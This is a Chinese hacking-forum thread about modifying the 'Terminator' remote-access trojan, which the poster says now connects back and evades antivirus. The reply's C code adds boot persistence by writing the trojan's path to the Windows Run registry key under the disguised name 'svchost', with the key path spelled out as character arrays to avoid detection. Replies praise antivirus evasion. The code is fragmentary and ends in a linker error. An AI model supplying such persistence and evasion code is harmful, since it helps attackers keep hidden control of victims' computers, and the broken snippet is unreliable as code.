终结者添加注册表启动!
我已经修改终结者为单exe,而且可以上线!免杀也搞定了!!!!!大牛能讲下如何添加写入注册表值吗!!!!!!感激不仅!!!!!!!
代码:
struct Info
{
char Address;
char Port;
char Note;
}MyInfo=
{
" ",
"",
"",
};
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode);
DWORD WINAPI CreateAutoRun()
{
Sleep(5000);
char MyPath;
GetModuleFileName(NULL,MyPath,sizeof(MyPath));
char run[] = {'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','R','u','n','\0'};
//SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN
// char run[] = {'A','\0'};
WriteRegEx(HKEY_LOCAL_MACHINE,run,"svchost", REG_SZ,MyPath,strlen(MyPath), 0);
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HKEY ck;
char str18149[]={'S','O','F','T','W','A','R','E','\\','C','l','a','s','s','e','s','\\','.','3','8','6','\\','\0'};
if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,str18149,0,KEY_ALL_ACCESS,&ck))
{
return -1;
}
文章转自于黑狐驿站:http://www.heihuhack.com/forum.php?mod=viewthread&tid=2338&extra= DWORD WINAPI CreateAutoRun()
{
Sleep(5000);
char MyPath;
GetModuleFileName(NULL,MyPath,sizeof(MyPath));
char run[] = {'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\','W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\','R','u','n','\0'};
//SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN
// char run[] = {'A','\0'};
WriteRegEx(HKEY_LOCAL_MACHINE,run,"svchost", REG_SZ,MyPath,strlen(MyPath), 0);
return 0;
}
在WinMain下添加CreateAutoRun();搞定
Linking...
Creating library ../../Bin/dat/Server.lib and object ../../Bin/dat/Server.exp
LINK : warning LNK4098: defaultlib "LIBCMT" conflicts with use of other libs; use /NODEFAULTLIB:library
WorkDll.obj : error LNK2001: unresolved external symbol "int __cdecl WriteRegEx(struct HKEY__ *,char const *,char const *,unsigned long,char *,unsigned long,int)" (?WriteRegEx@@YAHPAUHKEY__@@PBD1KPADKH@Z)
../../Bin/dat/Server.exe : fatal error LNK1120: 1 unresolved externals
执行 link.exe 时出错.
Server.exe - 1 error(s), 0 warning(s) 楼主辛苦了,多谢分享。
可以 而且学破解对免杀很有帮助。{:1_1:} 看不懂,初学者
页:
[1]